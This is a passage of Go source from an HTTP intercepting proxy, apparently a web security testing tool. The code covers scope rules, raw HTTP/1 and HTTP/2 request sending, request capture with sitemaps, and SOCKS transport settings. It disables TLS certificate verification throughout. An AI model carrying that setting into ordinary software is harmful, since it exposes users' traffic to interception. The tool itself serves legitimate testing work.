parts := bytes.SplitN(raw, sep, 2)
headerBytes := mr.Apply("response_header", parts[0])
var bodyBytes []byte
if len(parts) > 1 {
bodyBytes = mr.Apply("response_body", parts[1])
}
modified := append(headerBytes, sep...)
modified = append(modified, bodyBytes...)
parsed, err := http.ReadResponse(bufio.NewReader(bytes.NewReader(modified)), nil)
if err != nil {
return resp
}
// Update Content-Length to match the new body.
if len(bodyBytes) > 0 {
parsed.ContentLength = int64(len(bodyBytes))
parsed.Body = io.NopCloser(bytes.NewReader(bodyBytes))
}
return parsed
}
+161
View File
@@ -0,0 +1,161 @@
package proxy
import (
"path/filepath"
"strings"
"sync"
)
// ScopeRule defines a single include or exclude scope rule.
type ScopeRule struct {
ID string `json:"id"`
Pattern string `json:"pattern"` // host glob: "*.target.com"
Methods []string `json:"methods"` // e.g. ["POST","PUT"], empty = all
Path string `json:"path"` // path glob: "/api/*", empty = all
Include bool `json:"include"` // true=include, false=exclude
}
// Scope manages host and request-level scope filtering.
type Scope struct {
mu sync.RWMutex
enabled bool
rules []ScopeRule
}
// NewScope creates a Scope that is disabled by default with no rules.
func NewScope() *Scope {
return &Scope{}
}
// IsEnabled reports whether scope filtering is active.
func (s *Scope) IsEnabled() bool {
s.mu.RLock()
defer s.mu.RUnlock()
return s.enabled
}
// SetEnabled enables or disables scope filtering.
func (s *Scope) SetEnabled(enabled bool) {
s.mu.Lock()
defer s.mu.Unlock()
s.enabled = enabled
}
// Rules returns a copy of the current scope rules.
func (s *Scope) Rules() []ScopeRule {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]ScopeRule, len(s.rules))
copy(out, s.rules)
return out
}
// SetRules replaces all scope rules.
func (s *Scope) SetRules(rules []ScopeRule) {
s.mu.Lock()
defer s.mu.Unlock()
s.rules = rules
}
// AddRule appends a rule, assigning it a generated ID.
func (s *Scope) AddRule(rule ScopeRule) ScopeRule {
rule.ID = GenerateID()
s.mu.Lock()
defer s.mu.Unlock()
s.rules = append(s.rules, rule)
return rule
}
// RemoveRule deletes a rule by ID. Returns true if found.
func (s *Scope) RemoveRule(id string) bool {
s.mu.Lock()
defer s.mu.Unlock()
for i, r := range s.rules {
if r.ID == id {
s.rules = append(s.rules[:i], s.rules[i+1:]...)
return true
}
}
return false
}
// HostInScope checks if a hostname passes scope at the CONNECT level (host only).
func (s *Scope) HostInScope(host string) bool {
s.mu.RLock()
defer s.mu.RUnlock()
return s.inScope(host, "", "")
}
// InScope checks if a request passes scope (host + method + path).
func (s *Scope) InScope(host, method, path string) bool {
s.mu.RLock()
defer s.mu.RUnlock()
return s.inScope(host, method, path)
}
// inScope implements the evaluation logic. Must be called with mu held.
func (s *Scope) inScope(host, method, path string) bool {
if !s.enabled {
return true
}
if len(s.rules) == 0 {
return false
}
included := false
for _, r := range s.rules {
if !r.Include {
continue
}
if matchRule(r, host, method, path) {
included = true
break
}
}
if !included {
return false
}
for _, r := range s.rules {
if r.Include {
continue
}
if matchRule(r, host, method, path) {
return false
}
}
return true
}
// matchRule checks whether a single rule matches the given host, method, and path.
// When method or path is empty (Level 1 check), those dimensions are skipped.
func matchRule(rule ScopeRule, host, method, path string) bool {
if rule.Pattern != "" {
matched, err := filepath.Match(strings.ToLower(rule.Pattern), strings.ToLower(host))
if err != nil || !matched {
return false
}
}
if method != "" && len(rule.Methods) > 0 {
found := false
for _, m := range rule.Methods {
if strings.EqualFold(m, method) {
found = true
break
}
}
if !found {
return false
}
}
if path != "" && rule.Path != "" {
matched, err := filepath.Match(rule.Path, path)
if err != nil || !matched {
return false
}
}
return true
}
+513
View File
@@ -0,0 +1,513 @@
package proxy
import (
"bufio"
"bytes"
"compress/flate"
"compress/gzip"
"context"
"crypto/tls"
"errors"
"fmt"
"io"
"net"
"net/http"
"net/http/httputil"
"net/url"
"strconv"
"strings"
"sync"
"time"
"golang.org/x/net/http2"
)
// SendOptions controls behavior of SendRawRequest.
type SendOptions struct {
FollowRedirects bool
Decompress bool
H2Transport *http2.Transport
}
// SendResult holds the outcome of a raw send.
type SendResult struct {
Response *http.Response
RawResp []byte
Duration time.Duration
Hops int
ResponseSource string // "wire" | "synthetic" | "fallback-h1"
}
const sendMaxRedirectHops = 10
// SendRawRequest sends raw HTTP request bytes, choosing the wire protocol from
// the version token in the request line. HTTP/1.0 and HTTP/1.1 go on the wire
// byte-for-byte over a raw TCP/TLS socket with ALPN forced to http/1.1. HTTP/2
// is re-encoded by golang.org/x/net/http2 with ALPN forced to h2 (h2 has no
// textual request line on the wire).
func SendRawRequest(ctx context.Context, raw []byte, scheme, host string, opts SendOptions, tc *TransportConfig) (*SendResult, error) {
proto := protocolFromRequestLine(raw)
switch proto {
case "HTTP/1.0", "HTTP/1.1":
return sendH1Raw(ctx, raw, scheme, host, proto, opts, tc, 0)
case "HTTP/2", "HTTP/2.0":
return sendH2(ctx, raw, scheme, host, opts, tc, 0)
case "":
return nil, errors.New("could not parse HTTP version from request line")
default:
return nil, fmt.Errorf("unsupported HTTP version: %q", proto)
}
}
// protocolFromRequestLine reads the first line of raw and returns the version
// token (e.g., "HTTP/1.1"), or "" if not present. Returns the parsed token even
// for unsupported versions so the caller can produce a useful error.
func protocolFromRequestLine(raw []byte) string {
end := bytes.IndexAny(raw, "\r\n")
if end < 0 {
end = len(raw)
}
parts := bytes.Fields(raw[:end])
if len(parts) < 3 {
return ""
}
return string(parts[len(parts)-1])
}
func sendH1Raw(ctx context.Context, raw []byte, scheme, host, proto string, opts SendOptions, tc *TransportConfig, hops int) (*SendResult, error) {
scheme = strings.ToLower(scheme)
if scheme == "" {
scheme = "https"
}
if host == "" {
host = hostFromRaw(raw)
if host == "" {
return nil, errors.New("host is required")
}
}
dialHost := host
if !strings.Contains(dialHost, ":") {
if scheme == "https" {
dialHost = net.JoinHostPort(dialHost, "443")
} else {
dialHost = net.JoinHostPort(dialHost, "80")
}
}
conn, err := dialH1Conn(ctx, scheme, dialHost, tc)
if err != nil {
return nil, fmt.Errorf("dial: %w", err)
}
defer conn.Close()
deadline := time.Now().Add(30 * time.Second)
if dl, ok := ctx.Deadline(); ok && dl.Before(deadline) {
deadline = dl
}
conn.SetDeadline(deadline) //nolint:errcheck
stop := make(chan struct{})
defer close(stop)
go func() {
select {
case <-ctx.Done():
conn.Close()
case <-stop:
}
}()
start := time.Now()
if _, err := conn.Write(raw); err != nil {
return nil, fmt.Errorf("write request: %w", err)
}
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
return nil, fmt.Errorf("read response: %w", err)
}
bodyBytes, _ := io.ReadAll(resp.Body)
resp.Body.Close()
duration := time.Since(start)
if opts.Decompress {
if decoded, ok := tryDecompress(resp.Header.Get("Content-Encoding"), bodyBytes); ok {
bodyBytes = decoded
resp.Header.Del("Content-Encoding")
resp.Header.Del("Transfer-Encoding")
resp.Header.Set("Content-Length", strconv.Itoa(len(bodyBytes)))
}
}
rawResp := dumpResponseSafe(resp, bodyBytes)
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
resp.ContentLength = int64(len(bodyBytes))
if opts.FollowRedirects && hops+1 < sendMaxRedirectHops && isRedirect(resp.StatusCode) {
if loc := resp.Header.Get("Location"); loc != "" {
if nextScheme, nextHost, nextPath, err := resolveRedirect(scheme, host, loc); err == nil {
followRaw := buildSimpleGet(proto, nextHost, nextPath)
return sendH1Raw(ctx, followRaw, nextScheme, nextHost, proto, opts, tc, hops+1)
}
}
}
return &SendResult{
Response: resp,
RawResp: rawResp,
Duration: duration,
Hops: hops,
ResponseSource: "synthetic",
}, nil
}
func sendH2(ctx context.Context, raw []byte, scheme, host string, opts SendOptions, tc *TransportConfig, hops int) (*SendResult, error) {
parseable := rewriteVersionToH1(raw)
httpReq, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(parseable)))
if err != nil {
return nil, fmt.Errorf("parse request: %w", err)
}
if scheme == "" {
scheme = "https"
}
if host == "" {
host = httpReq.Host
if host == "" {
return nil, errors.New("host is required")
}
}
httpReq.URL.Scheme = scheme
httpReq.URL.Host = host
httpReq.Host = host
httpReq.RequestURI = ""
for _, h := range []string{"Connection", "Keep-Alive", "Proxy-Authenticate", "Proxy-Authorization", "Te", "Trailer", "Transfer-Encoding", "Upgrade"} {
httpReq.Header.Del(h)
}
transport := opts.H2Transport
closeWhenDone := false
if transport == nil {
transport = newH2Transport(tc)
closeWhenDone = true
}
if closeWhenDone {
defer transport.CloseIdleConnections()
}
httpReq = httpReq.WithContext(ctx)
start := time.Now()
resp, err := transport.RoundTrip(httpReq)
if err != nil {
if isH2NotSupported(err) {
fallback := bytes.Replace(raw, []byte("HTTP/2.0"), []byte("HTTP/1.1"), 1)
fallback = bytes.Replace(fallback, []byte("HTTP/2"), []byte("HTTP/1.1"), 1)
res, ferr := sendH1Raw(ctx, fallback, scheme, host, "HTTP/1.1", opts, tc, hops)
if ferr == nil && res != nil {
res.ResponseSource = "fallback-h1"
}
return res, ferr
}
return nil, fmt.Errorf("send: %w", err)
}
duration := time.Since(start)
bodyBytes, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if opts.Decompress {
if decoded, ok := tryDecompress(resp.Header.Get("Content-Encoding"), bodyBytes); ok {
bodyBytes = decoded
resp.Header.Del("Content-Encoding")
resp.Header.Del("Transfer-Encoding")
resp.Header.Set("Content-Length", strconv.Itoa(len(bodyBytes)))
}
}
rawResp := dumpResponseSafe(resp, bodyBytes)
resp.Body = io.NopCloser(bytes.NewReader(bodyBytes))
resp.ContentLength = int64(len(bodyBytes))
if opts.FollowRedirects && hops+1 < sendMaxRedirectHops && isRedirect(resp.StatusCode) {
if loc := resp.Header.Get("Location"); loc != "" {
if nextScheme, nextHost, nextPath, err := resolveRedirect(scheme, host, loc); err == nil {
followRaw := buildSimpleGet("HTTP/2", nextHost, nextPath)
return sendH2(ctx, followRaw, nextScheme, nextHost, opts, tc, hops+1)
}
}
}
return &SendResult{
Response: resp,
RawResp: rawResp,
Duration: duration,
Hops: hops,
ResponseSource: "synthetic",
}, nil
}
// dialH1Conn dials TCP/TLS for HTTP/1.x, forcing ALPN to http/1.1 on TLS.
func dialH1Conn(ctx context.Context, scheme, host string, tc *TransportConfig) (net.Conn, error) {
dialCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
defer cancel()
var raw net.Conn
var err error
if tc != nil {
if dial := tc.SOCKSDialContext(); dial != nil {
raw, err = dial(dialCtx, "tcp", host)
}
}
if raw == nil && err == nil {
var d net.Dialer
raw, err = d.DialContext(dialCtx, "tcp", host)
}
if err != nil {
return nil, err
}
if scheme != "https" {
return raw, nil
}
serverName, _, _ := net.SplitHostPort(host)
tlsConn := tls.Client(raw, &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true, //nolint:gosec
NextProtos: []string{"http/1.1"},
})
if err := tlsConn.HandshakeContext(dialCtx); err != nil {
raw.Close()
return nil, fmt.Errorf("tls handshake: %w", err)
}
return tlsConn, nil
}
// newH2Transport returns a fresh http2.Transport that prefers ALPN h2 and
// honors SOCKS configuration on tc. Both "h2" and "http/1.1" are advertised so
// the TLS handshake itself doesn't fail against servers that respond with
// http/1.1 in ALPN; if the server picks anything other than h2, the dialer
// returns errH2NotSupported and the caller falls back to the H1 sender.
func newH2Transport(tc *TransportConfig) *http2.Transport {
t := &http2.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true, //nolint:gosec
NextProtos: []string{"h2", "http/1.1"},
},
AllowHTTP: false,
}
t.DialTLSContext = func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
dialCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
defer cancel()
var rawConn net.Conn
var err error
if tc != nil {
if dial := tc.SOCKSDialContext(); dial != nil {
rawConn, err = dial(dialCtx, network, addr)
}
}
if rawConn == nil && err == nil {
var d net.Dialer
rawConn, err = d.DialContext(dialCtx, network, addr)
}
if err != nil {
return nil, err
}
serverName, _, _ := net.SplitHostPort(addr)
tlsConn := tls.Client(rawConn, &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true, //nolint:gosec
NextProtos: []string{"h2", "http/1.1"},
})
if err := tlsConn.HandshakeContext(dialCtx); err != nil {
rawConn.Close()
return nil, err
}
if state := tlsConn.ConnectionState(); state.NegotiatedProtocol != "h2" {
tlsConn.Close()
return nil, errH2NotSupported
}
return tlsConn, nil
}
return t
}
var errH2NotSupported = errors.New("server does not support HTTP/2 (ALPN)")
func isH2NotSupported(err error) bool {
if err == nil {
return false
}
if errors.Is(err, errH2NotSupported) {
return true
}
msg := err.Error()
if strings.Contains(msg, errH2NotSupported.Error()) {
return true
}
// Servers that misbehave in ALPN: pick a protocol the client never offered,
// or send TLS 1.3 alert 120 (no_application_protocol). Treat both as
// "no h2 here" so the H1 fallback path can take over instead of bubbling
// up as a 502.
if strings.Contains(msg, "unadvertised ALPN protocol") {
return true
}
if strings.Contains(msg, "no application protocol") {
return true
}
return false
}
// rewriteVersionToH1 swaps " HTTP/2" or " HTTP/2.0" → " HTTP/1.1" in the
// request line so http.ReadRequest can parse it. Used only as a parsing-time
// concession; the wire protocol is chosen by the caller.
func rewriteVersionToH1(raw []byte) []byte {
eol := bytes.IndexAny(raw, "\r\n")
if eol < 0 {
return raw
}
line := raw[:eol]
rest := raw[eol:]
for _, suffix := range []string{" HTTP/2.0", " HTTP/2"} {
if bytes.HasSuffix(line, []byte(suffix)) {
fixed := append([]byte{}, line[:len(line)-len(suffix)]...)
fixed = append(fixed, " HTTP/1.1"...)
return append(fixed, rest...)
}
}
return raw
}
// hostFromRaw extracts the Host header value from raw HTTP/1 bytes.
func hostFromRaw(raw []byte) string {
headerEnd := bytes.Index(raw, []byte("\r\n\r\n"))
if headerEnd < 0 {
headerEnd = bytes.Index(raw, []byte("\n\n"))
if headerEnd < 0 {
return ""
}
}
headers := bytes.ReplaceAll(raw[:headerEnd], []byte("\r\n"), []byte("\n"))
for _, line := range bytes.Split(headers, []byte("\n")) {
if i := bytes.IndexByte(line, ':'); i > 0 {
if strings.EqualFold(string(line[:i]), "Host") {
return strings.TrimSpace(string(line[i+1:]))
}
}
}
return ""
}
func isRedirect(code int) bool {
switch code {
case 301, 302, 303, 307, 308:
return true
}
return false
}
func resolveRedirect(scheme, host, location string) (string, string, string, error) {
base := &url.URL{Scheme: scheme, Host: host}
loc, err := url.Parse(location)
if err != nil {
return "", "", "", err
}
final := base.ResolveReference(loc)
if final.Scheme == "" {
final.Scheme = scheme
}
if final.Host == "" {
final.Host = host
}
return final.Scheme, final.Host, final.RequestURI(), nil
}
func buildSimpleGet(proto, host, path string) []byte {
if path == "" {
path = "/"
}
return fmt.Appendf(nil, "GET %s %s\r\nHost: %s\r\nAccept: */*\r\n\r\n", path, proto, host)
}
// tryDecompress decodes gzip / deflate response bodies. Returns (decoded, true)
// on success, or (original, false) if the encoding is empty or unsupported.
func tryDecompress(encoding string, body []byte) ([]byte, bool) {
enc := strings.ToLower(strings.TrimSpace(encoding))
if enc == "" {
return body, false
}
var reader io.ReadCloser
var err error
switch enc {
case "gzip":
reader, err = gzip.NewReader(bytes.NewReader(body))
case "deflate":
reader = flate.NewReader(bytes.NewReader(body))
default:
return body, false
}
if err != nil {
return body, false
}
decoded, err := io.ReadAll(reader)
reader.Close()
if err != nil {
return body, false
}
return decoded, true
}
// dumpResponseSafe emits a Content-Length-framed dump of resp with the supplied
// body. It clears chunked transfer encoding so the captured bytes show the
// already-decoded body rather than re-encoded chunk markers.
func dumpResponseSafe(resp *http.Response, body []byte) []byte {
captured := *resp
captured.TransferEncoding = nil
captured.ContentLength = int64(len(body))
captured.Body = io.NopCloser(bytes.NewReader(body))
out, _ := httputil.DumpResponse(&captured, true)
return out
}
// H2TransportCache provides per-host h2 transport reuse for high-throughput
// callers (e.g., the fuzzer).
type H2TransportCache struct {
mu sync.Mutex
transports map[string]*http2.Transport
tc *TransportConfig
}
// NewH2TransportCache returns a cache parameterized over the given TransportConfig.
func NewH2TransportCache(tc *TransportConfig) *H2TransportCache {
return &H2TransportCache{
transports: make(map[string]*http2.Transport),
tc: tc,
}
}
// Get returns a cached or freshly built h2 transport keyed by host.
func (c *H2TransportCache) Get(host string) *http2.Transport {
c.mu.Lock()
defer c.mu.Unlock()
if t, ok := c.transports[host]; ok {
return t
}
t := newH2Transport(c.tc)
c.transports[host] = t
return t
}
// Close releases all cached transports.
func (c *H2TransportCache) Close() {
c.mu.Lock()
defer c.mu.Unlock()
for _, t := range c.transports {
t.CloseIdleConnections()
}
c.transports = make(map[string]*http2.Transport)
}
+432
View File
@@ -0,0 +1,432 @@
package proxy
import (
"net/url"
"path"
"sort"
"strings"
"sync"
"time"
)
// ScopeFunc checks whether a request with the given host, method, and path is in scope.
type ScopeFunc func(host, method, path string) bool
// CapturedRequest holds all data about a proxied HTTP request/response pair.
type CapturedRequest struct {
ID string `json:"id"`
Seq int `json:"seq"`
Timestamp time.Time `json:"timestamp"`
Method string `json:"method"`
URL string `json:"url"`
Host string `json:"host"`
Protocol string `json:"protocol,omitempty"` // "HTTP/1.1" | "HTTP/2"
StatusCode int `json:"statusCode"`
ContentType string `json:"contentType,omitempty"`
Duration time.Duration `json:"duration"`
ResponseSize int `json:"responseSize"`
ReqRaw []byte `json:"reqRaw,omitempty"`
RespRaw []byte `json:"respRaw,omitempty"`
}
// RequestFilter holds optional filter criteria for listing requests.
type RequestFilter struct {
Host string
Method string
Status int
Search string
Exclude string // comma-separated file extensions, e.g. ".css,.png,.jpg"
ExtMode string // "exclude" (default) or "include"
ContentType string // simplified content type keyword, e.g. "html", "json", "image"
InScopeFunc ScopeFunc // optional: if set, only include requests passing this check
Offset int
Limit int
}
// Store is a thread-safe in-memory ring buffer of captured requests.
type Store struct {
mu sync.RWMutex
items []*CapturedRequest
maxSize int
nextSeq int
}
// NewStore creates a Store with the given max capacity (default 5,000).
func NewStore(maxSize int) *Store {
if maxSize <= 0 {
maxSize = 5000
}
return &Store{
items: make([]*CapturedRequest, 0, 256),
maxSize: maxSize,
}
}
// Add appends a request, evicting the oldest if at capacity.
func (s *Store) Add(r *CapturedRequest) {
s.mu.Lock()
defer s.mu.Unlock()
s.nextSeq++
r.Seq = s.nextSeq
if len(s.items) >= s.maxSize {
s.items = s.items[1:]
}
s.items = append(s.items, r)
}
// Get returns the request with the given ID, or nil.
func (s *Store) Get(id string) *CapturedRequest {
s.mu.RLock()
defer s.mu.RUnlock()
for _, r := range s.items {
if r.ID == id {
return r
}
}
return nil
}
// contentTypeKeywords maps simplified keywords to MIME substrings.
var contentTypeKeywords = map[string]string{
"html": "text/html",
"json": "json",
"js": "javascript",
"javascript": "javascript",
"xml": "xml",
"css": "text/css",
"image": "image/",
"font": "font/",
"text": "text/",
}
// List returns a filtered, paginated slice along with the total matching count.
func (s *Store) List(f RequestFilter) ([]*CapturedRequest, int) {
s.mu.RLock()
defer s.mu.RUnlock()
// Build extensions set if provided.
var extSet map[string]struct{}
includeMode := strings.EqualFold(f.ExtMode, "include")
if f.Exclude != "" {
parts := strings.Split(f.Exclude, ",")
extSet = make(map[string]struct{}, len(parts))
for _, p := range parts {
ext := strings.TrimSpace(p)
if ext != "" {
extSet[strings.ToLower(ext)] = struct{}{}
}
}
}
// Resolve content type keywords (comma-separated) to MIME substrings.
var ctMatches []string
if f.ContentType != "" {
for _, raw := range strings.Split(f.ContentType, ",") {
kw := strings.ToLower(strings.TrimSpace(raw))
if kw == "" {
continue
}
if mapped, ok := contentTypeKeywords[kw]; ok {
ctMatches = append(ctMatches, mapped)
} else {
ctMatches = append(ctMatches, kw)
}
}
}
var filtered []*CapturedRequest
for _, r := range s.items {
if f.Host != "" && r.Host != f.Host {
continue
}
if f.Method != "" && !strings.EqualFold(r.Method, f.Method) {
continue
}
if f.Status != 0 && r.StatusCode != f.Status {
continue
}
if f.Search != "" && !strings.Contains(strings.ToLower(r.URL), strings.ToLower(f.Search)) {
continue
}
if len(extSet) > 0 {
if u, err := url.Parse(r.URL); err == nil {
ext := strings.ToLower(path.Ext(u.Path))
_, found := extSet[ext]
if includeMode && !found {
continue
}
if !includeMode && found {
continue
}
} else if includeMode {
continue
}
}
if len(ctMatches) > 0 {
ct := strings.ToLower(r.ContentType)
matched := false
for _, m := range ctMatches {
if strings.Contains(ct, m) {
matched = true
break
}
}
if !matched {
continue
}
}
if f.InScopeFunc != nil {
reqPath := "/"
if u, err := url.Parse(r.URL); err == nil {
reqPath = u.Path
}
if !f.InScopeFunc(r.Host, r.Method, reqPath) {
continue
}
}
filtered = append(filtered, r)
}
total := len(filtered)
if f.Offset >= total {
return []*CapturedRequest{}, total
}
end := f.Offset + f.Limit
if f.Limit <= 0 || end > total {
end = total
}
return filtered[f.Offset:end], total
}
// Hosts returns a sorted, deduplicated list of hosts from the ring buffer.
func (s *Store) Hosts() []string {
s.mu.RLock()
defer s.mu.RUnlock()
seen := make(map[string]struct{})
for _, r := range s.items {
if r.Host != "" {
seen[r.Host] = struct{}{}
}
}
hosts := make([]string, 0, len(seen))
for h := range seen {
hosts = append(hosts, h)
}
sort.Strings(hosts)
return hosts
}
// All returns a copy of all stored requests.
func (s *Store) All() []*CapturedRequest {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]*CapturedRequest, len(s.items))
copy(out, s.items)
return out
}
// LoadItems replaces all stored requests with the given items.
// If more items are provided than maxSize, only the last maxSize are kept.
func (s *Store) LoadItems(items []*CapturedRequest) {
s.mu.Lock()
defer s.mu.Unlock()
s.items = s.items[:0]
s.nextSeq = 0
start := 0
if len(items) > s.maxSize {
start = len(items) - s.maxSize
}
for _, r := range items[start:] {
s.items = append(s.items, r)
if r.Seq > s.nextSeq {
s.nextSeq = r.Seq
}
}
}
// MaxSize returns the current ring buffer capacity.
func (s *Store) MaxSize() int {
s.mu.RLock()
defer s.mu.RUnlock()
return s.maxSize
}
// SetMaxSize updates the ring buffer capacity. If the current number of items
// exceeds the new capacity, the oldest items are trimmed.
func (s *Store) SetMaxSize(n int) {
if n <= 0 {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.maxSize = n
if len(s.items) > n {
s.items = s.items[len(s.items)-n:]
}
}
// SitemapVariant represents a unique query-parameter-name combination
// observed for an endpoint, along with the ID of the latest matching request.
type SitemapVariant struct {
Params []string `json:"params"`
RequestID string `json:"requestId"`
Count int `json:"count"`
}
// SitemapEndpoint represents a unique path within a host.
type SitemapEndpoint struct {
Path string `json:"path"`
Methods []string `json:"methods"`
Params []string `json:"params"`
Variants []SitemapVariant `json:"variants"`
Count int `json:"count"`
}
// SitemapHost represents a unique origin (scheme://host:port).
type SitemapHost struct {
Origin string `json:"origin"`
Endpoints []SitemapEndpoint `json:"endpoints"`
Count int `json:"count"`
}
// Sitemap builds an aggregated site map from all captured requests.
// Hosts are keyed by origin (scheme://host:port). Within each host,
// endpoints are grouped by path with observed methods and query param names.
func (s *Store) Sitemap() []SitemapHost {
s.mu.RLock()
defer s.mu.RUnlock()
type endpointKey struct {
origin string
path string
}
type variantData struct {
paramNames []string
requestID string
count int
}
type endpointData struct {
methods map[string]struct{}
params map[string]struct{}
variants map[string]*variantData // keyed by joined sorted param names
count int
}
hostCounts := make(map[string]int)
endpoints := make(map[endpointKey]*endpointData)
hostOrder := make(map[string]struct{})
for _, r := range s.items {
u, err := url.Parse(r.URL)
if err != nil {
continue
}
origin := u.Scheme + "://" + u.Host
hostCounts[origin]++
hostOrder[origin] = struct{}{}
key := endpointKey{origin: origin, path: u.Path}
ep, ok := endpoints[key]
if !ok {
ep = &endpointData{
methods: make(map[string]struct{}),
params: make(map[string]struct{}),
variants: make(map[string]*variantData),
}
endpoints[key] = ep
}
ep.count++
ep.methods[r.Method] = struct{}{}
// Collect sorted param names for this request.
qp := u.Query()
paramNames := make([]string, 0, len(qp))
for param := range qp {
ep.params[param] = struct{}{}
paramNames = append(paramNames, param)
}
sort.Strings(paramNames)
variantKey := strings.Join(paramNames, ",")
v, ok := ep.variants[variantKey]
if !ok {
v = &variantData{paramNames: paramNames}
ep.variants[variantKey] = v
}
v.count++
v.requestID = r.ID // latest wins
}
// Collect and sort hosts.
hosts := make([]SitemapHost, 0, len(hostOrder))
for origin := range hostOrder {
hosts = append(hosts, SitemapHost{
Origin: origin,
Count: hostCounts[origin],
})
}
sort.Slice(hosts, func(i, j int) bool {
return hosts[i].Origin < hosts[j].Origin
})
// Attach endpoints to each host.
for i := range hosts {
origin := hosts[i].Origin
var eps []SitemapEndpoint
for key, data := range endpoints {
if key.origin != origin {
continue
}
methods := make([]string, 0, len(data.methods))
for m := range data.methods {
methods = append(methods, m)
}
sort.Strings(methods)
params := make([]string, 0, len(data.params))
for p := range data.params {
params = append(params, p)
}
sort.Strings(params)
// Build sorted variants list.
variants := make([]SitemapVariant, 0, len(data.variants))
for _, vd := range data.variants {
variants = append(variants, SitemapVariant{
Params: vd.paramNames,
RequestID: vd.requestID,
Count: vd.count,
})
}
sort.Slice(variants, func(a, b int) bool {
return strings.Join(variants[a].Params, ",") < strings.Join(variants[b].Params, ",")
})
eps = append(eps, SitemapEndpoint{
Path: key.path,
Methods: methods,
Params: params,
Variants: variants,
Count: data.count,
})
}
sort.Slice(eps, func(a, b int) bool {
return eps[a].Path < eps[b].Path
})
hosts[i].Endpoints = eps
}
return hosts
}
// Clear removes all stored requests.
func (s *Store) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.items = s.items[:0]
s.nextSeq = 0
}
+172
View File
@@ -0,0 +1,172 @@
package proxy
import (
"context"
"crypto/tls"
"fmt"
"net"
"net/http"
"sync"
"time"
"golang.org/x/net/proxy"
)
// TransportConfig manages HTTP transport settings (HTTP/2, keep-alive, SOCKS)
// and rebuilds the shared transport when settings change.
type TransportConfig struct {
mu sync.RWMutex
http2Enabled bool
keepAlive bool
socksHost string
socksPort int
socksUsername string
socksPassword string
socksDNS bool
transport *http.Transport
}
// NewTransportConfig creates a TransportConfig with defaults: HTTP/2 enabled, keep-alive disabled.
func NewTransportConfig() *TransportConfig {
tc := &TransportConfig{
http2Enabled: true,
keepAlive: false,
}
tc.transport = tc.buildTransport()
return tc
}
// Transport returns the current cached transport.
func (tc *TransportConfig) Transport() *http.Transport {
tc.mu.RLock()
defer tc.mu.RUnlock()
return tc.transport
}
// HTTP2 returns whether HTTP/2 upstream is enabled.
func (tc *TransportConfig) HTTP2() bool {
tc.mu.RLock()
defer tc.mu.RUnlock()
return tc.http2Enabled
}
// KeepAlive returns whether keep-alive is enabled.
func (tc *TransportConfig) KeepAlive() bool {
tc.mu.RLock()
defer tc.mu.RUnlock()
return tc.keepAlive
}
// SOCKS returns the current SOCKS proxy settings.
func (tc *TransportConfig) SOCKS() (host string, port int, username, password string, dns bool) {
tc.mu.RLock()
defer tc.mu.RUnlock()
return tc.socksHost, tc.socksPort, tc.socksUsername, tc.socksPassword, tc.socksDNS
}
// SetHTTP2 enables or disables HTTP/2 upstream negotiation.
func (tc *TransportConfig) SetHTTP2(enabled bool) {
tc.mu.Lock()
defer tc.mu.Unlock()
if tc.http2Enabled == enabled {
return
}
tc.http2Enabled = enabled
tc.transport = tc.buildTransport()
}
// SetKeepAlive enables or disables TCP connection reuse.
func (tc *TransportConfig) SetKeepAlive(enabled bool) {
tc.mu.Lock()
defer tc.mu.Unlock()
if tc.keepAlive == enabled {
return
}
tc.keepAlive = enabled
tc.transport = tc.buildTransport()
}
// SetSOCKS configures an upstream SOCKS5 proxy. Pass empty host to disable.
func (tc *TransportConfig) SetSOCKS(host string, port int, username, password string, dns bool) {
tc.mu.Lock()
defer tc.mu.Unlock()
tc.socksHost = host
tc.socksPort = port
tc.socksUsername = username
tc.socksPassword = password
tc.socksDNS = dns
tc.transport = tc.buildTransport()
}
// SOCKSDialContext returns a DialContext function that routes through the SOCKS proxy,
// or nil if no SOCKS proxy is configured. Used by tunnel() and NewHTTPClient().
func (tc *TransportConfig) SOCKSDialContext() func(ctx context.Context, network, addr string) (net.Conn, error) {
tc.mu.RLock()
defer tc.mu.RUnlock()
if tc.socksHost == "" {
return nil
}
return tc.buildSOCKSDialContext()
}
// buildSOCKSDialContext creates a SOCKS5 dial function. Caller must hold at least RLock.
func (tc *TransportConfig) buildSOCKSDialContext() func(ctx context.Context, network, addr string) (net.Conn, error) {
addr := fmt.Sprintf("%s:%d", tc.socksHost, tc.socksPort)
var auth *proxy.Auth
if tc.socksUsername != "" {
auth = &proxy.Auth{User: tc.socksUsername, Password: tc.socksPassword}
}
if tc.socksDNS {
// Let the SOCKS proxy resolve DNS - dial with hostname.
dialer, err := proxy.SOCKS5("tcp", addr, auth, proxy.Direct)
if err != nil {
return nil
}
if cd, ok := dialer.(proxy.ContextDialer); ok {
return cd.DialContext
}
return func(ctx context.Context, network, a string) (net.Conn, error) {
return dialer.Dial(network, a)
}
}
// Resolve DNS locally, then dial through SOCKS with the IP.
dialer, err := proxy.SOCKS5("tcp", addr, auth, proxy.Direct)
if err != nil {
return nil
}
return func(ctx context.Context, network, a string) (net.Conn, error) {
host, port, err := net.SplitHostPort(a)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupHost(ctx, host)
if err != nil {
return nil, err
}
resolved := net.JoinHostPort(ips[0], port)
if cd, ok := dialer.(proxy.ContextDialer); ok {
return cd.DialContext(ctx, network, resolved)
}
return dialer.Dial(network, resolved)
}
}
func (tc *TransportConfig) buildTransport() *http.Transport {
t := &http.Transport{
ForceAttemptHTTP2: tc.http2Enabled,
DisableKeepAlives: !tc.keepAlive,
DisableCompression: true,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, //nolint:gosec
TLSHandshakeTimeout: 10 * time.Second,
ResponseHeaderTimeout: 30 * time.Second,
IdleConnTimeout: 90 * time.Second,
}
if tc.socksHost != "" {
